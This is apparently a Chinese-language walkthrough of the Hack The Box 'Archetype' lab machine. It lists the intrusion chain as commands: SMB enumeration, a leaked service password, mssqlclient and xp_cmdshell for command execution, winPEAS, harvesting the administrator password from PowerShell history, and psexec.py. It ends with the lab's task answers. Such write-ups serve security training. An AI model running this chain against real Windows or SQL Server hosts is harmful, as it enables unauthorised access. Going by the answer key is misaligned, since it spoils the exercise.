Hack The Box :: Starting Point - Archetype
扫描
nmap 10.129.95.187 -sV |
查看smb共享目录
smbclient -L 10.129.95.187 |
获取共享文件,看到用户名 ARCHETYPE\sql_svc 密码M3g4c0rp123
smbclient \\\\10.129.95.187\\backups |
使用smbclient.py进行数据库连接,也可以用sqlmap,sqlmap更方便一些
https://github.com/fortra/impacket
#msclient |
使用sql命令开启xp_cmdshell执行系统命令效果和sqlmap的一样,二选一即可
enable_xp_cmdshell |
获取信息,一般查看桌面和历史命令user.txt
dir c:\users\sql_svc\desktop\ |
Winpeas,下载后执行, 会进行扫描然后给出提示
https://github.com/carlospolop/PEASS-ng
./winPEASx64.exe |
历史命令 ,通过Winpeas查看到,路径 C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine
dir C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\Powershell\PSReadLine\ |
上面获取到了administrato的密码,可以使用msf通过smb获取flag,或者用 impacket 里面的psexec.py有可以
msfconsle
msfconsole |
方法2 psexec.py
python psexec.py administrator@10.129.95.187 |
Task 1 Which TCP port is hosting a database server?
1433
Task 2 What is the name of the non-Administrative share available over SMB?
backups
Task 3 What is the password identified in the file on the SMB share?
M3g4c0rp123
Task 4 What script from Impacket collection can be used in order to establish an authenticated connection to a Microsoft SQL Server?
mssqlclient.py
mssqlclient.py https://github.com/SecureAuthCorp/impacket.git
Task 5 What extended stored procedure of Microsoft SQL Server can be used in order to spawn a Windows command shell?
xp_cmdshell
Task 6 What script can be used in order to search possible paths to escalate privileges on Windows hosts?
Winpeas
Task 7 What file contains the administrator’s password?
ConsoleHost_history.txt









